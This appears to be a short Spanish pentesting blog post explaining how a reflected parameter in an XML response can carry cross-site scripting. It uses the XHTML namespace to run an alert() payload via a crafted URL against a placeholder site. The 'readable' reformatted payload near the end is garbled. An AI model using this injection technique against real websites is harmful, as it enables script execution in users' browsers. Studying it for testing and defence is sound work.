XSS en XML

Post rapidito. Y a ver si cojo ritmo a la hora de escribir a partir de ahora, que vuelvo a dedicarme al pentest.

En el último pentest, se me ha planteado la duda de si es posible enchufar un XSS en un XML.

Pongámonos en contexto. Tenemos la siguiente URL:

www.ejemplo.com/generaXML.php?idioma=es

donde el parámetro idioma se refleja en la respuesta:

<?xml version="1.0" encoding="UTF-8"?>
   <idioma="es">
   <param1=adsf>
<...>

Se puede inyectar contenido XML aunque realmente esta funcionalidad no es relevante:

www.ejemplo.com/generaXML.php?idioma=es"><param1=bbbb>
<?xml version="1.0" encoding="UTF-8"?>
   <idioma="es"><param1=bbbb>
   <param1=adsf>
<...>

Si se intentara insertar código de la forma habitual, el navegador detectaría un error en la sintaxis del XML y no se interpretaría el código:

www.ejemplo.com/generaXML.php?idioma=es"<h1>aaa</h1>
Error de lectura XML: mal formado
<?xml version="1.0" encoding="UTF-8"?><idioma="es"<h1>aaa</h1>"><param1=adsf>
--------------------------------------------------------------^

La idea es decirle al navegador que lo que se quiere interpretar es html y no xml. La forma de hacerlo es enchufar un nuevo theme:

www.ejemplo.com/generaXML.php?idioma=es"><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>alert('xss');</html:script></html:html>

Para mayor legibilidad, lo pongo con saltos de linea:

~~~~ {xml:space=”preserve”} alert(‘xss’); ~~~~

Y con esto, se consigue ejecutar código javascript dentro de un XML \m/

social